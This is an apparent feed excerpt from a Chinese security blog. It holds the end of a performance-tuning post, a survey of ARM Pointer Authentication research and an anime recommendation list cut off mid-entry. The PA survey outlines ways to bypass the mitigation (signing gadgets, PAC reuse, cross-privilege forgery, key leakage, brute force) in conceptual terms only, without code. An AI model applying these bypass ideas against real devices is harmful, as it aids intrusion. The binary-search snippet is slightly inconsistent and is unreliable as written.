end)</span><br></pre></td></tr></table></figure><p>除此之外，现代CPU针对位操作还有极好的优化指令，能够快速提升运算速度，这也是做高性能计算的关键点。比如以下几个编译器中的内构函数：</p><ul><li><code>__builtin_ffs</code>：寻找无符号整数从低位开始的第一个二进制位为1的位置</li><li><code>__builtin_clz</code>：计算无符号整数中从最高位开始连续的0个数</li><li><code>__builtin_ctz</code>：计算无符号整数中从最低位开始连续的0个数</li><li><code>__builtin_popcount</code>：计算无符号整数二进制表示中1的个数</li></ul><h3 id="二分查找"><a href="#二分查找" class="headerlink" title="二分查找"></a>二分查找</h3><p>二分的思想广泛应用在计算机的世界中，存在固定排序的数据中每次只看数据中间的值，根据与中间的值比较来进一步切分下一次要二分的区间，通过不断地二分比较以此来搜索最优的数据内容。这里就简单给一段示例代码说明：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// input </span></span><br><span class="line"><span class="comment">// 排序好的数组 int *data</span></span><br><span class="line"><span class="comment">// 数组的大小 size_t size</span></span><br><span class="line"><span class="comment">// 需要搜索的数据 n</span></span><br><span class="line"><span class="keyword">int</span> left = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">int</span> right = size - <span class="number">1</span>;</span><br><span class="line"><span class="keyword">while</span> ((right - left) &gt; <span class="number">1</span>) &#123;</span><br><span class="line">    <span class="keyword">int</span> middle = (right + left) / <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">if</span> (n == <span class="built_in">array</span>[middle]) &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">array</span>[middle];</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> (n &gt; <span class="built_in">array</span>[middle]) &#123;</span><br><span class="line">        left = middle;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        right = middle;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="built_in">array</span>[right];</span><br></pre></td></tr></table></figure><p>除了查找数据，有些时候在排查引入问题的commit提交时，二分commit内容也是一种很好的思路，这样只需要少量尝试就能知道有问题的commit是在什么区间之中，帮助我们锁定问题范围。比如git提供的<code>git bisect</code>命令。</p><h3 id="函数拟合"><a href="#函数拟合" class="headerlink" title="函数拟合"></a>函数拟合</h3><p>如果学习过高数，我们能够知道有些时候能用一些多项式函数拟合一些计算较为复杂的函数表达式，当这些多项式函数的误差在可接受的范围内，可使用这种方式来做性能优化。</p><p>这里涉及到很多数学方面的证明和推导，这里就不过多阐述这种事情。（留给专业的人来做吧，我的高数也忘的差不多了）这里唯一需要注意的事情，拟合之后的多项式函数需要有相关的设计文档和代码注释来说明这些特殊表达式的含义，大部分看代码的人是无法直接理解这些多项式的背景和含义。</p><h2 id="后话"><a href="#后话" class="headerlink" title="后话"></a>后话</h2><p>憋了好久终于又来了一篇，想要平衡工作、学习、生活，对于一个社畜来说还是一件非常有挑战的事情呢。人的精力在工作上就被榨干的差不多了，还要抽空来跟踪最新的知识和学习其他额外内容就会显得疲惫，希望能够挺过来吧。（终于拖到2024年的最后一天发出来了）</p><p>坚持自己热爱的事情，相信自己脚下走的路。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;在甲方待了一段时间发现，在企业中想要提升安全性或者落地某个新的安全能力，总是需要和业务性能进行对比。如果某个安全特性的性能开销过大，那么对于
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="总结" scheme="https://hurricane618.me/tags/%E6%80%BB%E7%BB%93/"/>
    
      <category term="性能" scheme="https://hurricane618.me/tags/%E6%80%A7%E8%83%BD/"/>
    
  </entry>
  
  <entry>
    <title>ARM安全特性PA(Pointer Authentication)的技术洞察</title>
    <link href="https://hurricane618.me/2024/05/05/pointer-authentication-collection-1/"/>
    <id>https://hurricane618.me/2024/05/05/pointer-authentication-collection-1/</id>
    <published>2024-05-04T16:05:58.000Z</published>
    <updated>2024-05-04T16:05:58.558Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>ARM v8.3 版本中新增了基于硬件的安全特性PA(Pointer Authentication)，并新增了一组相关指令pac和aut，pac*指令用于对目标指针做签名，签名内容存放于指针头部的空余空间中，而aut*指令用于校验存放于指针头部的签名内容是否正确，由此达到控制流完整性(CFI)和数据流完整性(DFI)的保护。</p><h2 id="防御篇"><a href="#防御篇" class="headerlink" title="防御篇"></a>防御篇</h2><h3 id="增强PA的检查功能"><a href="#增强PA的检查功能" class="headerlink" title="增强PA的检查功能"></a>增强PA的检查功能</h3><p>来自论文 <strong>PAC it up: Towards Pointer Integrity using ARM Pointer Authentication</strong></p><p>论文里面提到了PAC的致命缺陷是会有重用，包括PA code的重用，PA签名gadget，指针本体重放等形式。针对这种情况，作者做了优化的安全方案来解决它。</p><p>提到了两种PAC的攻击模型：</p><p><strong>恶意PAC生成</strong></p><ul><li>PAC生成的gadget，使得攻击者可以利用片段来完成签名操作</li></ul><p><strong>PAC重用攻击</strong></p><ul><li>回滚一个PAC签名的指针为之前签名的指针值</li><li>替换签名指针为使用相等PA modifier的另外一个签名指针</li></ul><p>重用攻击相当于也可以小范围的操纵程序控制流，只不过并不能无限制的任意跳转。</p><p><strong>增强方案</strong></p><p>（1）增加函数类型作为签名输入值</p><p>针对返回地址的PAC签名，可以增加函数类型type-id信息，这样就算替换为其他签名值，但函数类型不一致的情况下还是会校验为失败。</p><p>（2）数据指针类型的DFI校验方案</p><p>作者将数据指针的使用分为两种情况，一个是on-load类型，一个是on-use类型。</p><p>on-load类型指针使用是解引用之后的值会残留在寄存器中，这点是需要单独进行PAC签名保护的内容。</p><p>on-use类型指针使用是解引用之后使用会被清除，因此可以使用一些优化组合的PAC指令。</p><p>（3）针对指针类型转换场景的处理</p><p>在这种指针类型转换的情况下，会去掉原始PAC签名，再使用新的类型信息进行PAC签名，这样在指针使用时会用新的类型做校验，而不会出现报错</p><h3 id="利用PA增强已有防御机制"><a href="#利用PA增强已有防御机制" class="headerlink" title="利用PA增强已有防御机制"></a>利用PA增强已有防御机制</h3><p>来自论文 <strong>Protecting the stack with PACed canaries</strong></p><p>从论文的标题就能看出，它的想法是利用pac指令加强canary机制。</p><p>canary机制是防止栈溢出的核心防御，但它的缺点是容易受到信息泄露和暴力破解攻击。</p><p>文章中提到了三个脆弱点：</p><ol><li>单一程序运行时canary值为固定数据（进程唯一）；</li><li>canary数据存储在不安全内存中，容易被篡改；</li><li>只在栈帧的尾部插入检测，无法检测到局部变量的溢出；</li></ol><p>作者针对性提出基于PAC的canary方案：</p><ol><li>能够保护栈中的局部单一变量；</li><li>不需要一定在安全空间中存储canary数据；</li><li>能够针对性的对每个函数调用做到唯一的canary；</li><li>整体方案利用硬件特性，性能较好；</li></ol><p>作者最后的方案也是比较简单粗暴，直接在每个局部buffer后面插入检测canary，同时每个canary都是经过PAC签名过的值，这个签名的modifier为SP指针的后48bit，再加上函数的类型id值。这样插入的每个canary都会不同，一旦被篡改就会被检测出来。</p><p>但这样会额外插入很多指令，但总的来说和原来的stack canary的方案相比，性能开销几乎相同，但能做到更多的防御能力。</p><h3 id="利用PA做内存漏洞检测"><a href="#利用PA做内存漏洞检测" class="headerlink" title="利用PA做内存漏洞检测"></a>利用PA做内存漏洞检测</h3><p>来自论文 <strong>Hardware-based Always-On Heap Memory Safety</strong></p><p>这篇论文使用了基于硬件的堆内存边界检查和释放使用类漏洞，类似于Asan。</p><p>开篇提出现有边界检查的问题：</p><ol><li>用于边界检查和元数据存储的额外指令开销</li><li>复杂的元数据处理</li></ol><p>作者提出了五大挑战：</p><ol><li>寄存器扩展</li><li>边界检查操作</li><li>元数据扩散</li><li>高内存开销</li><li>复杂的元数据处理方案</li></ol><p>以上面五个挑战为目标，作者提出了针对性的解决方案</p><ol><li>采用PA指令相关的签名和验签方式，可以把指针的签名信息保存在指针的头部中，而不需要扩展寄存器或者手动做元数据扩散，指针本身的拷贝动作即可代替元数据扩散的动作；（解决挑战1和3）</li><li>针对挑战2，在指针解引用的时候去做边界检查，因为PAC签名之后，在指针使用之前一定会有验签操作，所以边界检查可以一并在那时进行；（解决挑战2）</li><li>通过hash表的方式做索引，可快速查找某个指针的边界范围，以此来快速判断改次指针访问是否存在越界行为；（解决挑战4和5）</li></ol><p>作者接下来描述了更为具体的方案细节，其中涉及到软件和硬件两个部分内容。</p><p>软件上的修改包括：</p><ul><li>新增特殊指令集的扩展：作者开发了新的指令集来进行边界检查</li><li>编译器的修改：通过修改编译器中的编译流程，在malloc和free的过程中增加检查指令</li><li>操作系统的修改：需要适配刚刚新增的指令集，以及指令的异常处理</li></ul><p>硬件上的内容，对于我这种软件工程师就有点看不太懂了，主要包含两个状态机运行。</p><p>来自论文 <strong>PACMem: Enforcing Spatial and Temporal Memory Safety via ARM Pointer Authentication</strong></p><p>这篇论文做的比上面一篇更加完善，功能和方案都更为成熟。主要目标是利用PAC指令用更低的开销，检查更多的内存问题。</p><p>作者的切入点是各种消毒器的内存开销、体积开销、性能开销都非常巨大，通过他们研究的基于PAC的消毒器能很好的优化上面的问题。（这个切入点真的太好了，一下子就拔高了不少）</p><p>整个思路和上面的硬件论文差不多，会创建一个表结构来存储指针基地址，创建时间戳，对象大小信息。其中比较有意思的是创建时间戳，它是利用随机数和SP寄存器两个输入值，用PAC算出来的一个数据，可以当做是这个chunk的一种唯一标识。</p><p>当然，这种计算方式肯定会有一定概率出现PAC数据冲突，作者给出的解决冲突策略也是最简单的那一类，直接原数据减一，直到没有冲突为止。</p><p>元数据的创建点非常的显而易见的在malloc上，当chunk创建时会将对应的信息转换为我们维护的表结构数据，并在chunk的生命周期中进行维护。</p><p>检查点的位置也是非常的明显，当指针有解引用动作时会触发hash表中的检测。检测分为两个点：</p><ol><li>对象此时是否存在，看创建时间戳；</li><li>对象此时是否存在越界，看对象大小和基地址相加得到的范围；</li></ol><p>在兼容性方面，签名指针往未签名的模块中转移时，PACMem会检测这个是否存在异常，并去掉PAC签名值，使其转换为正常的指针。当未签名的指针向保护模块转移时，PACMem会当做新的chunk生成对其生成元数据，这个元数据会填充进最小的基地址和最大的对象大小，以此来保证兼容性。</p><p>除了上述的主要方案，还做了一些性能优化策略。</p><ol><li>循环访问的优化：只会在循环开始之前检查一次是否有问题，如果是指针循环增加or减少，那么会优化为只检查最终结果；</li><li>针对重复地址的优化：如果能确定地址是重复一样的场景，那么第二次的地址检测会被优化；</li><li>仅写入数据检查优化：默认场景下是读写都会做安全检查，但有些时候出于性能考虑，可以只做写入数据时检查，以此来增加检测效率；</li></ol><p>总结，整体来说检测缓冲区溢出、释放后使用、双重释放等堆栈类型问题的开销有所下降，但PACMem和ASan相比，检测的漏洞类型还是少了一些，ASan还能够检测内存泄漏、未初始化内存等问题。</p><h2 id="攻击篇"><a href="#攻击篇" class="headerlink" title="攻击篇"></a>攻击篇</h2><h3 id="苹果的PA实现分析"><a href="#苹果的PA实现分析" class="headerlink" title="苹果的PA实现分析"></a>苹果的PA实现分析</h3><p>来自论文 <strong>Demystifying Pointer Authentication on Apple M1</strong></p><p>如果PA同时在EL0和EL1开启，那么EL0获得的签名可以在EL1通过验证。（Linux内核为了防止这个问题，在用户态内核态切换的时候会刷新PA相关的密钥）这是一种跨层攻击。</p><p>作者在分析苹果的实现过程中发现：</p><ul><li>苹果存在特殊的硬件机制，能阻止我们观测到真实的PA密钥</li><li>苹果的PAC指令和ARM原生的指令行为不一致</li></ul><p>在逆向苹果PA的时候一些技巧：</p><ul><li>通过测试函数获取最基本的苹果特殊PA寄存器识别码</li><li>通过EL1和EL2层寄存器的映射来解决寄存器别名的问题</li><li>通过以上两步不断地搜索内核中的指令信息，如果又遇到了未知内容，则再次重复1-2步</li></ul><p>苹果在自己PA模式使能之后，pacia等签名指令，不会使用EL1层的IA key了，而是会使用EL2层的IA key</p><img src="/2024/05/05/pointer-authentication-collection-1/1.png"><p>苹果在硬件层面魔改的pac指令操作。主要在这几个方面：</p><ul><li>额外的密钥寄存器</li><li>针对主机和虚拟机之间场景的寄存器</li><li>使能苹果PA模式的特殊控制寄存器</li><li>苹果PA签名算法和高通的QARMA不同，还存在一些盐值异或操作</li></ul><p>讲述PAC签名的不同层/不同环境签名替换的攻击方式，比如在用户态签名的pac值，在内核态使用。但这种只能适用于没有密钥切换的场景，但无论的苹果还是Linux都会在切换层级的时候进行密钥切换。</p><ul><li>跨VM的攻击方式（宿主机和虚拟机之间的跨越攻击）</li><li>跨密钥key的攻击方式（Akey和Bkey相同的情况）</li><li>如果PA针对某个指针的签名都是一样的值，那么攻击者可以拷贝这个值来复用签名，导致重用攻击</li><li>跨EL层的攻击（如果EL层之间切换时没更新密钥，就会存在这个问题）</li></ul><img src="/2024/05/05/pointer-authentication-collection-1/2.png"><p>上述是苹果每个Key的进程依赖性，和每个签名指令在用户态和内核态的使用情况。</p><p>苹果使用IB签名返回地址指针，IA签名其他类型函数指针，DA用于内核数据指针签名，DB用于用户态数据指针，GA用于签名中断向量表和极为敏感的数据区域。</p><p>针对PAC的攻击面分析：</p><ul><li>PAC没有保护的数据指针</li><li>PAC没有保护的中断上下文数据</li><li>签名gadget</li><li>密钥泄露</li></ul><h3 id="苹果的PA实现中的漏洞"><a href="#苹果的PA实现中的漏洞" class="headerlink" title="苹果的PA实现中的漏洞"></a>苹果的PA实现中的漏洞</h3><p>比较早去分析苹果PA机制缺陷的是来自工业界的顶级团队，google P0和腾讯keen。</p><p>里面提到的一些方法论的攻击面分析：</p><ul><li>PA的内存密钥泄露</li><li>跨EL层的PAC伪造，比如在用户态利用PAC指令签名内核指针</li><li>如果存在密钥通用的情况，可能会有不同PAC密钥签名指令的伪造攻击</li><li>PAC签名的gadget，利用gadget为自己的指针做签名</li><li>PAC的暴力求解</li></ul><p>但上面的攻击面在作者实际探索的时候，发现苹果已经做了很多考虑，上面的攻击面除了gadget和暴力求解基本上没有作用。并且把怀疑对象放在了硬件上，苹果的硬件针对密钥做了特殊处理。</p><p>以及出现过一个巨搞笑的地方，只做了比较，但没有跳转或者其他动作，直接返回了</p><img src="/2024/05/05/pointer-authentication-collection-1/3.png"><p>P0在博客发现一年之后的blackhat上发表了更为详细的绕过思路，其中有一段采用中断机制的bypass思路。下面列出其中一个中断bypass：</p><img src="/2024/05/05/pointer-authentication-collection-1/4.png"><p>之后，学术界也开始了苹果PA的分析之路。也正是上面的论文所做的事情，它分析了苹果硬件中做的骚操作，并把它通过虚拟机测试展示了出来。从中挖掘出了一个签名gadget和一些没有保护到的敏感数据指针。</p><p><strong>37C3上爆料的惊天利用链</strong></p><p>其中有涉及到苹果PAC的bypass，我是有点不明所以，门槛太高已经处在无法理解的阶段了。放一张攻击链的演示图，给大家看看。比较邪门的是那个芯片级漏洞，不知道是怎么出来的，众说纷纭。</p><img src="/2024/05/05/pointer-authentication-collection-1/5.png"><p>图片来自：<a href="https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/" target="_blank" rel="noopener">https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/</a></p><p>相关事件文章合集：<a href="https://securelist.com/trng-2023/" target="_blank" rel="noopener">https://securelist.com/trng-2023/</a></p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>利用PAC指令已经能做到很多事情了，包括强化PAC本身的检测机制，增强已有防御机制，以及检测更多类型的内存漏洞。作为ARM v8.3新增的指令，随着苹果的大力推进，已经在商用上有了大力发展。而最新的MTE，谷歌就抢先进行了商用，不知道这算不算一种军备竞赛？</p><p>PA机制最出彩的地方就是复用了地址前面的空余位置做签名值，低开销并且不需要额外保存签名信息，原有的指针拷贝也能完全复用。整体的设计思路基本上封死了控制流劫持，因为你要先攻破PA机制才能做到代码执行，但要攻击PA机制很多时候又需要依靠代码执行，这就成了一种循环依赖的鸡生蛋问题。当然，看了上面各个大厂实验室的分析思路，PA在实现过程中还存在一些瑕疵，但只要经过一段时间的锤炼，绝对能成为杀手级的漏洞缓解机制，或许能为内存漏洞盖上棺材板吧？让我们拭目以待！</p><p>内存漏洞被封杀殆尽之后，下一个会是什么呢？逻辑漏洞可能会成为下一个战场吗？变幻莫测的逻辑漏洞如何有效的进行封杀预防呢？这些应该都是接下来安全从业人员需要考虑的事情吧。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;ARM v8.3 版本中新增了基于硬件的安全特性PA(Pointer Authentication)，并新增了一组相关指令pac和aut，p
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="ARM" scheme="https://hurricane618.me/tags/ARM/"/>
    
      <category term="PA" scheme="https://hurricane618.me/tags/PA/"/>
    
  </entry>
  
  <entry>
    <title>那些年我看过的番剧、电视剧、电影以及玩过的游戏</title>
    <link href="https://hurricane618.me/2023/10/03/my-recommendation-list-1/"/>
    <id>https://hurricane618.me/2023/10/03/my-recommendation-list-1/</id>
    <published>2023-10-02T16:05:51.000Z</published>
    <updated>2023-10-02T16:10:37.416Z</updated>
    
    <content type="html"><![CDATA[<p>一些不错的作品值得更多的人接触，特此写下那些年我接触过的有趣的娱乐作品，我推荐的作品或是能让人获得新颖的体验，或是能让人思考良久，或是能让人轻松愉快。</p><h2 id="番剧"><a href="#番剧" class="headerlink" title="番剧"></a>番剧</h2><h3 id="《攻壳机动队》"><a href="#《攻壳机动队》" class="headerlink" title="《攻壳机动队》"></a>《攻壳机动队》</h3><p>这部神作阐述了两个核心概念，Ghost in the Shell 和 Stand Alone Complex</p><p>Ghost in the Shell：魂与壳的关系。当人摈弃肉体，装上机械义体，甚至连大脑都电子化，是否会逐渐异化失去灵魂；当机器拥有智能和情感，是否会逐渐拥有灵魂。</p><p>Stand Alone Complex：孤立个体的集合体。原先互无关系、各自独立的人们在有意识或者无意识的情况下，为了某个相同目的而统一行动。基于无数独立意识个体的思想与行为交会，产生了更高级形式的指导性整体意识。</p><p>喜欢硬核科幻的朋友一定不要错过，推荐观看顺序 攻壳机动队SAC 第一季+第二季，然后是1995年的动画电影第一部，2004年的第二部动画电影无罪，最后就是新出的攻壳机动队2045。</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ss1564" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ss1564</a></p><h3 id="《钢之炼金术师》"><a href="#《钢之炼金术师》" class="headerlink" title="《钢之炼金术师》"></a>《钢之炼金术师》</h3><p>响彻整个动漫圈的等价交换法则：“<strong>没有牺牲就没有获得，想得到什么就必须付出同等的代价，这就是炼金术中的等价交换原则</strong>”。</p><p>以及在动漫和漫画的末尾，那句经典的总结语：不伴随痛苦的教训是没有意义的，因为人不付出牺牲，就不会有收获，然而，当人们克服苦难的时候，会获得不屈服于任何事物的坚强心灵，是的，钢铁般的心。</p><p><strong>动漫界的《钢铁是怎样炼成的》</strong></p><p>B站已经下架 可以看看木鱼水心的讲解，但真的强烈推荐去看原片。2003版和2009的FA，如果以前没有看过钢炼，推荐直接看FA。如果看过FA了，可以去看2003版的前期剧情，整体更加黑暗风。</p><p>木鱼讲解链接：<a href="https://www.bilibili.com/video/BV19x411u7bZ" target="_blank" rel="noopener">https://www.bilibili.com/video/BV19x411u7bZ</a></p><h3 id="《命运石之门》"><a href="#《命运石之门》" class="headerlink" title="《命运石之门》"></a>《命运石之门》</h3><p><strong>这一切都是命运石之门的选择。</strong></p><p>无需多言的穿越动漫神作，它的强大体现在整个剧情足够精彩的前提下，还做到了令人满意的收尾完成度。我们见识过太多的神作烂尾，但命运石之门的结尾没有莫名喂屎，没有逻辑崩坏，没有机械降神，它是那么的理所当然，就像一开始它就应该是这样。</p><p>现在版权在腾讯，推荐先看命运石之门，再看命运石之门0。</p><h3 id="《虫师》"><a href="#《虫师》" class="headerlink" title="《虫师》"></a>《虫师》</h3><p>完美展现日本物哀文化的动漫。</p><p>整个动漫充满着安静和祥和，没有过于渲染超自然的怪异，而是用一种十分平静舒缓的节奏娓娓道来。</p><p>看完之后，内心充满宁静~ 推荐喜欢看文艺片或者大自然的朋友来看</p><p>B站可以看第一季：<a href="https://www.bilibili.com/bangumi/play/ep30872" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ep30872</a></p><h3 id="《CLANNAD》"><a href="#《CLANNAD》" class="headerlink" title="《CLANNAD》"></a>《CLANNAD》</h3><p>写作CLANNAD，读作人生。神作榜常客，key社四部曲之一，春之CLANNAD。</p><p>在小镇长长的坡道上，关于男孩子成长和女孩子坚强的故事。</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ss1177" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ss1177</a></p><h3 id="《乒乓》"><a href="#《乒乓》" class="headerlink" title="《乒乓》"></a>《乒乓》</h3><p>写作乒乓，读作人生（怎么感觉和上面一模一样 2333）。非常真实的表现出天才与普通人的生存之道，在强调天赋的领域要学会放手。时刻认清自己是谁，自己在干什么。</p><p>当你热切的追求某个事物，而它又让你感到深深的疲惫与痛苦时，那一定是走错了路。</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ep277065" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ep277065</a></p><h3 id="《电脑线圈》"><a href="#《电脑线圈》" class="headerlink" title="《电脑线圈》"></a>《电脑线圈》</h3><p>非常冷门的作品，号称小攻壳。非常适合小朋友的赛博朋克作品，在做到有深度有内涵的同时，具有逻辑自洽的科幻设定，老少皆宜的良心番。</p><p>这是个反应孩子成长的故事，在科技的外衣下展现小朋友，从软弱到刚强，从逃避到面对，从伪善到真实。</p><p>顺带一提，这部番的OP和ED信息含量爆炸，看完之后再次回看，真的是意犹未尽。</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/video/BV1hx411F7m9" target="_blank" rel="noopener">https://www.bilibili.com/video/BV1hx411F7m9</a></p><h3 id="《星际牛仔》"><a href="#《星际牛仔》" class="headerlink" title="《星际牛仔》"></a>《星际牛仔》</h3><p>讲述了四个人的太空冒险故事。一个讨厌过去的人，一个活在过去的人，一个寻找过去的人，一个不在乎过去的人。不在乎过去的人和寻找过去的人都发现了明白了自己的过去，最后讨厌过去和寻找过去的人丢弃了自己的过去，活在过去和不在乎过去的人追随了自己的过去。</p><p>这大概就是男人的浪漫！！！</p><p>B站似乎下架了，可恶！！！想看的朋友可以联系我~</p><h3 id="《银河英雄传说》"><a href="#《银河英雄传说》" class="headerlink" title="《银河英雄传说》"></a>《银河英雄传说》</h3><p>一部以讲述历史的口吻，逐步展开的史诗动漫，双主角的代表作品。下面记录一句经典名言：</p><p>“人类历史上一直有两种论调，一种是真理比生命重要，另一种是没有什么比生命重要。当人类发动战争的时候，他们找前者当借口，而当他们希望结束战争的时候，又把后者当理由。人类历史就这样不断重复着。”</p><p>资源只能自己找了，推荐看老版动漫。</p><h3 id="《齐木楠雄的灾难》"><a href="#《齐木楠雄的灾难》" class="headerlink" title="《齐木楠雄的灾难》"></a>《齐木楠雄的灾难》</h3><p>近几年最好看的搞笑动漫，能笑到我肚子痛，以及非常有趣的角色塑造，有中二的海藤，无脑的燃堂，热血的班长，神一般的美少女。喜欢搞笑动漫的朋友，一定要看！</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ss5069" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ss5069</a></p><h3 id="《龙与虎》"><a href="#《龙与虎》" class="headerlink" title="《龙与虎》"></a>《龙与虎》</h3><p>让人重新相信爱情的动漫，曾经高中的我对爱情不屑一顾，但是看了这部恋爱番之后，被深深的治愈，进而开始有想恋爱的冲突。三个女主，三种性格，非常不错的细腻描写。顺带一提，动漫的OP1，大河穿丝袜动作是真的嘿嘿嘿~</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ep66515" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ep66515</a></p><h3 id="《月色真美》"><a href="#《月色真美》" class="headerlink" title="《月色真美》"></a>《月色真美》</h3><p>没有胃疼和NTR的100%纯爱番，述说着我们那回不去的青涩和朦胧。</p><p>许多年后的某天，天上的月亮依然高悬，世界或许变换，但我能想到最高兴的事情，莫过于不用说出口，只要看到那美好的月色，你便能知道我爱你。</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ep103870" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ep103870</a></p><h3 id="《食梦者》"><a href="#《食梦者》" class="headerlink" title="《食梦者》"></a>《食梦者》</h3><p>如果说《乒乓》展示的是某些领域中天赋的重要性，那么《食梦者》就是展示努力与合作的重要性。如果你缺少天赋，那就靠后天的努力以及和有能力的人一起合作吧！</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ep13129" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ep13129</a></p><h3 id="《死亡笔记》"><a href="#《死亡笔记》" class="headerlink" title="《死亡笔记》"></a>《死亡笔记》</h3><p>邪道智斗动漫的天花板作品，主角为反派人物的设定非常新颖，再结合上一方拥有超能力与一方拥有社会资源之间的智斗，让人直呼过瘾，但是不适合青少年观看，至少要等到自身拥有稳定的三观后再看。（如果你看了食梦者，可能你能更加理解死亡笔记的创作历程~）</p><p>资源嘛，网盘见吧！</p><h3 id="《浪客剑心-追忆篇》"><a href="#《浪客剑心-追忆篇》" class="headerlink" title="《浪客剑心 追忆篇》"></a>《浪客剑心 追忆篇》</h3><p>“剑是凶器，剑术是杀人之术，无论用多么美丽的借口来掩饰，那始终是事实”</p><p>血雨腥风成绝响<br>人间不见白梅香<br>良人随雪飘零去<br>生者独守十字伤</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ep86012" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ep86012</a></p><h3 id="《奇巧出租车》"><a href="#《奇巧出租车》" class="headerlink" title="《奇巧出租车》"></a>《奇巧出租车》</h3><p>用电视剧的手法讲述的多线叙事故事，原本互不相识的人物，被不同事件串联在一起，以出租车为线索，拼凑出了绝美的叙事体验。不仅如此，还在如此13集的体量中塞下了对社会现象的思考，探讨了搞笑艺人、社交媒体、偶像崇拜、网络相亲、氪金手游、黑社会。</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ep431777" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ep431777</a></p><h3 id="《无头骑士异闻录》-承-转-结"><a href="#《无头骑士异闻录》-承-转-结" class="headerlink" title="《无头骑士异闻录》+ 承 转 结"></a>《无头骑士异闻录》+ 承 转 结</h3><p>非常优秀的都市群像番剧，登场人物众多，各有各的特色，主线与支线错综复杂。这种感觉就像是主线支线互相推动，身不由己地往前延伸，这些线们有时只知道其表面，有时一知半解，有时完全无法感知对方的存在，有时知根知底。</p><p>每个角色都按照自己的想法去做事，然而在不知不觉中被周围的人所影响。一个齿轮一旦开始运转，整个庞大机器就不由自主地被带动起来，最远处的一个发条的崩坏，也是因为这个毫不相干的齿轮。</p><p>B站可以观看 链接：<a href="https://www.bilibili.com/bangumi/play/ep29993" target="_blank" rel="noopener">https://www.bilibili.com/bangumi/play/ep29993</a></p><h3 id="《赌博默示录》"><a href="#《赌博默示录》" class="headerlink" title="《赌博默示录》"></a>《赌博默示录》</h3><p>不残血不会赌系列，传说中的戒赌神作。这个系列动漫最精彩的地方是生动刻画了一个人在面对危机和恐惧时的感受，并用了很多夸张的场景来直观表现这种感受，本人恐高就很能理解其中的真人高空赛马的剧情。更厉害的一点是非常深刻的展现了赌狗的特点，只想着自己能赢，却没想到自己会输的情况，每次输了之后只会想着再赢回来，每次赢了之后又想着赢更多。</p><p>B站可以观看</p><p>第一季链接：<a href="https://www.bilibili.com/video/BV1ot411q7nY" target="_blank" rel="noopener">https://www.bilibili.com/video/BV1ot411q7nY</a></p><p>第二季链接：<a href="https://www.bilibili.com/video/BV1Mb411N7aw" target="_blank" rel="noopener">https://www.bilibili.com/video/BV1Mb411N7aw</a></p><h2 id="电视剧"><a href="#电视剧" class="headerlink" title="电视剧"></a>电视剧</h2><h3 id="《人民的名义》"><a href="#《人民的名义》" class="headerlink" title="《人民的名义》"></a>《人民的名义》</h3><p>一部剧带你入门中国政府的部门职能权利划分。开始理解省委常委、政法委、检察院检察长、中纪委等一大串政府机关。</p><p>我最喜欢里面的现任检察院检察长–季昌明，真的是能屈能伸稳如老狗。</p><h3 id="《重案六组》"><a href="#《重案六组》" class="headerlink" title="《重案六组》"></a>《重案六组》</h3><p>虽然拍摄略显粗糙，但里面的事件都是由真实案件改编而成，非常刺激。</p><p>最强搭档，老练果敢的大曾和感性细心的季洁。</p><h3 id="《大明王朝1566》"><a href="#《大明王朝1566》" class="headerlink" 